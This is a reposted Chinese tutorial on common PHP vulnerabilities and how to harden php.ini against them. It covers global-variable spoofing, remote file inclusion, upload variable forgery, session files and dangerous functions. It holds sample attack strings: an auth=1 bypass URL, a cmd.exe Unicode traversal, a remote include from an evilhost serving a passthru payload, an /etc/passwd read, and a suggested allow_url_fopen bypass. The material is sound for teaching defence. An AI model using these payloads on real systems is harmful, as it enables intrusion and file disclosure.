PHP编程中的常见漏洞和代码实例


Posted in PHP onAugust 06, 2014

不是固若金汤,随着PHP的广泛运用,一些黑客们也在无时不想找PHP的麻烦,通过PHP程序漏洞进行攻击就是其中一种。在节,我们将从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性。

如何通过全局变量进行攻击?

PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型根据上下文环境自动确定。从程序员的角度来看,这无疑是一种极其方便的处理方法。一旦一个变量被创建了,就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量。

很显然,基于PHP的应用程序的主函数一般都是接受用户的输入(主要是表单变量,上载文件和Cookie等),然后对输入数据进行处理,然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易,实际上PHP是把这些输入数据看作全局变量来处理的。

例如:

<FORM METHOD="GET" ACTION="test.php">  

<INPUT TYPE="TEXT" NAME="hello">  

<INPUT TYPE="SUBMIT">  

</FORM> 

这会显示一个文本框和提交按钮。当用户点击提交按钮时,"test.php"会处理用户的输入,当"test.php"运行时,"$hello"会包含用户在文本框输入的数据。从这里我们应该看出,攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用"test.php",而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no,那么,不止是"$hello"被创建,"$setup"也被创建了。

下面的用户认证代码暴露了PHP的全局变量所导致的安全问题:
PHP代码

<?php  

if ($pass == "hello")  

$auth = 1;  

...  

if ($auth == 1)  

echo "some important information";  

?>

上面的代码首先检查用户的密码是否为"hello",如果匹配的话,设置"$auth"为"1",即通过认证。之后如果"$suth"为"1"的话,就会显示一些重要信息。

这段代码假定"$auth"在没有设置值的时候是空的,但是攻击者可以创建任何全局变量并赋值,通过类似"http://server/test.php?auth=1"的方法,我们完全可以欺骗这段代码,使它相信我们是已经认证过的。

因此,为了提高PHP程序的安全性,我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话,这可是一项非常艰巨的任务。

一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量,这依赖于我们的提交方式(GET或POST)。当PHP配置为打开"track_vars"选项的话(这是缺省值),用户提交的变量就可以在全局变量和上面提到的数组中获得。

但是值得说明的是,PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量,HTTP_POST_VARS数组用于处理POST方式提交的变量;HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量,而对于HTTP_POST_FILES数组(比较新的PHP才提供),则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中,因此一个安全的PHP程序应该检查这四个数组。

如何通过远程文件进行攻击?

PHP是一种具有丰富特性的语言,提供了大量的函数,使编程者很容易实现特定功能。但是从安全的角度来看,功能越多,要保证它的安全性就越难,远程文件就佐证这个问题的一个很好例子:

<?php  

if (!($fd = fopen("$filename", "r"))  

echo("Could not open file: $filename<BR>\n");  

?>

上面的脚本试图打开文件"$filename",如果失败就显示错误信息。很明显,如果我们能够指定"$filename"的话,就能利用这个脚本浏览系统中的任何文件。但是,这个脚本还存在一个不太明显的特性,那就是它可以从任何其它WEB或FTP站点读取文件。实际上,PHP的大多数文件处理函数对远程文件的处理是透明的。

例如:
如果指定"$filename"为 "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"

则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。这使得支持远程文件的 include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。

例如:

<?php  

include($libdir . "/languages.php");  

?> 

上例中"$libdir"一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得"$libdir"没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的"Poisonnull byte"攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件 languages.php,包含如下内容:

<?php  

passthru("/bin/ls /etc");  

?> 

然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。

需要注意的是,攻击代码是不会在自身所在的服务器(也就是evilhost)上执行执行自身PHP程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。

如何通过文件上载进行攻击?

PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">  

<INPUT TYPE="FILE" NAME="hello">  

<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">  

<INPUT TYPE="SUBMIT">  

</FORM>

上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。

让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且是存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。

大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")  

$hello_size = Size in bytes of file (e.g 1024)  

$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt")  

$hello_type = Mime type of uploaded file (e.g "text/plain")   

然后,PHP程序开始处理根据"$hello"指定的文件。问题在于"$hello"不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):

$hello = "/etc/passwd"  

$hello_size = 10240  

$hello_type = "text/plain"  

$hello_name = "hello.txt"

上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理本应在上载者本机上的上载文件,而是处理服务器上"/etc/passwd"(通常会导致内容暴露)文件。这种攻击可以用于暴露任何敏感文件的内容。

新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。但是实际上肯定有很多PHP程序仍然使用旧的方法,所以也很容易受到这种攻击。

作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:

<?php  

if (file_exists($theme)) // Checks the file exists on the local system (noremote files)  

include("$theme");  

?>

如果攻击者可以控制"$theme"的话,很显然它可以利用"$theme"来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为"theme"的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把"$theme"的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。
获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。

如何通过库文件进行攻击?

正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。

最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把PHP作为 Apache的模块使用时,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是".php", ".php3"和".php4"。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。

最简单的解决方法就是:给每个文件都指定一个PHP文件的扩展名,这样可以很好的防止泄露源代码的问题,但是又产生了新的问题,通过请求这个文件,攻击者可能使本该在上下文环境中运行的代码独立运行,这可能导致前面讨论的全部攻击。

下面是一个很明显的例子:

 In main.php:   

 <?php   

 $libDir = "/libdir";   

 $langDir = "$libdir/languages";   

 ...   

 include("$libdir/loadlanguage.php":   

 ?>  
 In libdir/loadlanguage.php:   

 <?php   

 ...   

   

 include("$langDir/$userLang");   

 ?>   

当"libdir/loadlanguage.php"被"main.php"调用时是相当安全的,但是因为"libdir /loadlanguage"具有".php"的扩展名,因此远程攻击者可以直接请求这个文件,并且可以任意指定"$langDir" 和"$userLang"的值。

如何通过Session文件进行攻击?

PHP 4或更新的版本提供了对sessions的支持,它的主要作用是在PHP程序中保存页与页之间的状态信息。例如,当一个用户登陆进入网站,他登陆了的这个事实以及谁登陆进入这个网站的相关信息都将被保存在session中,当他在网站中到处浏览时,所有的PHP代码都可以获得这些状态信息。

事实上,当一个session启动时(实际上是在配置文件中设置为在第一次请求时自动启动),就会生成一个随机的"session id",如果远程浏览器总是在发送请求时提交这个"session id"的话,session就会一直保持。这通过Cookie很容易实现,也可以通过在每页提交一个表单变量(包含"session id")来实现。PHP程序可以用session注册一个特殊的变量,它的值会在每个PHP脚本结束后存在session文件中,也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子:

<?php   

session_destroy(); // Kill any data currently in the session   

$session_auth = "shaun";   

session_register("session_auth"); // Register $session_auth as a session variable   

?>   

新版本的PHP都会自动把"$session_auth"的值设置为"shaun",如果它们被修改的话,以后的脚本都会自动接受修改后的值,这对无状态的Web来说的确是种很不错的工具,但是我们也应该小心。

一个很明显的问题就是确保变量的确来自session,例如,给定上面的代码,如果后续的脚本是下面这样的话:

<?php   

if (!emptyempty($session_auth))   

// Grant access to site here   

?>

上面的代码假定如果"$session_auth"被赋值的话,就是从session,而不是从用户输入来赋值的,如果攻击者通过表单输入来赋值的话,他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法,一旦变量被放进了session,就会覆盖任何表单输入。

Session数据一般是保存在文件中(位置是可配置的,一般是"/tmp"),文件名一般是类似"sess_<session id>"的形式,这个文件包含变量名称,变量类型,变量值和一些其它的数据。在多主机系统中,因为文件是以运行Web服务器的用户身份(一般是 nobody)保存的,因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问,甚至可以检查session文件中的敏感信息。

Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便。对于上面的例子来说,攻击者需要在远程系统放置一个包含PHP代码的文件,如果不能利用文件上载做到的话,他通常会利用session为一个变量按照自己的意愿赋一个值,然后猜测session文件的位置,而他知道文件名是"php<session id>",所以只需猜测目录,而目录一般就是"/tmp"。

另外,攻击者可以任意指定"session id"(例如"hello"),然后用这个"session id"创建一个session文件(例如"/tmp/sess_hello"),但是"session id"只能是字母和数字组合。

如何通过数据类型进行攻击?

PHP 具有比较松散的数据类型,变量的类型依赖于它们所处的上下文环境。例如:"$hello"开始是字符串变量,值为"",但是在求值时,就变成了整形变量"0",这有时可能会导致一些意想不到的结果。如果"$hello"的值为"000"还是为"0"是不同的,empty()返回的结果也不会为真。

PHP中的数组是关联数组,也就是说,数组的索引是字符串型的。这意味着"$hello["000"]"和"$hello[0]"也是不同的。

开发程序的时候应该仔细地考虑上面的问题,例如,我们不应该在一个地方测试某个变量是否为"0",而在另外的地方使用empty()来验证。

如何通过容易出错的函数进行攻击?下面是一份比较详细的容易出错的函数列表:

1. <PHP代码执行>   

2. require():读取指定文件的内容并且作为PHP代码解释   

3. include():同上   

4. eval():把给定的字符串作为PHP代码执行   

5. preg_replace():当与"/e"开关一起使用时,替换字符串将被解释为PHP代码   

6.   

7.   <命令执行>   

8. exec():执行指定的命令,返回执行结果的最后一行   

9. passthru():执行指定命令,返回所有结果到客户浏览器   

10. ``:执行指定命令,返回所有结果到一个数组   

11. system():同passthru(),但是不处理二进制数据   

12. popen():执行指定的命令,把输入或输出连接到PHP文件描述符   

13.   

14. <文件泄露>   

15. fopen():打开文件,并对应一个PHP文件描述符   

16. readfile():读取文件的内容,然后输出到客户浏览器   

17. file():把整个文件内容读到一个数组中  

如何增强PHP的安全性?

我们在上面介绍的所有攻击对于缺省安装的PHP4都可以很好的实现,但是PHP的配置非常灵活,通过配置一些PHP选项,我们完全可能抵抗其中的一些攻击。下面我们按照实现的难度对一些配置进行了分类:

*低难度

**中低难度

***中高难度

****高难度

如果你使用了PHP提供的所有选项的话,那么你的PHP将是很安全的,即使是第三方的代码也是如此,因为其中很多功能已经不能使用。

**** 设置"register_globals"为"off"

这个选项会禁止PHP为用户输入创建全局变量,也就是说,如果用户提交表单变量"hello",PHP不会创建"$ hello",而只会创建"HTTP_GET/POST_VARS['hello']"。这是PHP中一个极其重要的选项,关闭这个选项,会给编程带来很大的不便。

*** 设置"safe_mode"为"on"

打开这个选项,会增加如下限制:

1. 限制哪个命令可以被执行
2. 限制哪个函数可以被使用
3. 基于脚本所有权和目标文件所有权的文件访问限制
4. 禁止文件上载功能

这对于ISP来说是一个"伟大"的选项,同时它也能极大地改进PHP的安全性。

** 设置"open_basedir"

这个选项可以禁止指定目录之外的文件操作,有效地消除了本地文件或者是远程文件被include()的攻击,但是仍需要注意文件上载和session文件的攻击。

** 设置"display_errors"为"off",设置"log_errors"为"on"

这个选项禁止把错误信息显示在网页中,而是记录到日志文件中,这可以有效的抵制攻击者对目标脚本中函数的探测。

* 设置"allow_url_fopen"为"off"

这个选项可以禁止远程文件功能。

//这里allow_url_fopen 注意下,在jnc blog上看到,可以用
<?php  

include('\\myip\test.php');  

?>  

   

<?php  

include('//myip\test.php');  

?> 

来饶过?
PHP 相关文章推荐
php 特殊字符处理函数
Sep 05 PHP
php cache类代码(php数据缓存类)
Apr 15 PHP
php UBB 解析实现代码
Nov 27 PHP
基于initPHP的框架介绍
Apr 18 PHP
php生成随机密码自定义函数代码(简单快速)
May 10 PHP
ThinkPHP之用户注册登录留言完整实例
Jul 22 PHP
php打印一个边长为N的实心和空心菱型的方法
Mar 02 PHP
PHP的Yii框架中使用数据库的配置和SQL操作实例教程
Mar 17 PHP
Yii中的cookie的发送和读取
Jul 27 PHP
IIS 7.5 asp Session超时时间设置方法
Apr 17 PHP
实例讲解PHP中使用命名空间
Jan 27 PHP
微信公众号实现扫码获取微信用户信息(网页授权)
Apr 09 PHP
Discuz7.2版的faq.php SQL注入漏洞分析
Aug 06 #PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
You might like
曾在DC漫画界反派角色扮演的演员,谁才是你心目中的小丑之王?
2020/04/09 欧美动漫
PHP模拟post提交数据方法汇总
2016/02/16 PHP
些很实用且必用的小脚本代码
2006/06/26 Javascript
解决extjs grid 不随窗口大小自适应的改变问题
2014/01/26 Javascript
AngularJS中如何使用$parse或$eval在运行时对Scope变量赋值
2016/01/25 Javascript
JS获取屏幕高度的简单实现代码
2016/05/24 Javascript
详解js中Json的语法与格式
2016/11/22 Javascript
JS操作xml对象转换为Json对象示例
2017/03/25 Javascript
Spring shiro + bootstrap + jquery.validate 实现登录、注册功能
2017/06/02 jQuery
JavaScrip数组删除特定元素的几种方法总结
2017/09/06 Javascript
Node.js中的child_process模块详解
2018/06/08 Javascript
Angular6封装http请求的步骤详解
2018/08/13 Javascript
vue 使用vue-i18n做全局中英文切换的方法
2018/10/29 Javascript
vue router 通过路由来实现切换头部标题功能
2019/04/24 Javascript
vue.js 子组件无法获取父组件store值的解决方式
2019/11/08 Javascript
[05:02][DOTA2]DOTA进化论 第一期
2013/09/27 DOTA
python检查指定文件是否存在的方法
2015/07/06 Python
Python切片索引用法示例
2018/05/15 Python
从运行效率与开发效率比较Python和C++
2018/12/14 Python
windows下python虚拟环境virtualenv安装和使用详解
2019/07/16 Python
python打印9宫格、25宫格等奇数格 满足横竖斜相加和相等
2019/07/19 Python
python opencv实现信用卡的数字识别
2020/01/12 Python
天巡全球:Skyscanner Global
2017/06/20 全球购物
美国波西米亚风格服装品牌:Show Me Your Mumu
2018/01/05 全球购物
英国女鞋购物网站:Moda in Pelle
2019/02/18 全球购物
PHP面试题集
2016/12/18 面试题
国际商务专业求职信
2014/07/15 职场文书
乔迁之喜答谢词
2015/01/05 职场文书
关于感谢信的范文
2015/01/23 职场文书
保管员岗位职责
2015/02/14 职场文书
慰问信格式
2015/02/14 职场文书
单位介绍信格式范文
2015/05/04 职场文书
Mysql systemctl start mysqld报错的问题解决
2021/06/03 MySQL
MySQL中连接查询和子查询的问题
2021/09/04 MySQL
电脑无法安装Windows 11怎么办?无法安装Win11的解决方法
2021/11/21 数码科技
css布局巧妙技巧之css三角示例的运用
2022/03/16 HTML / CSS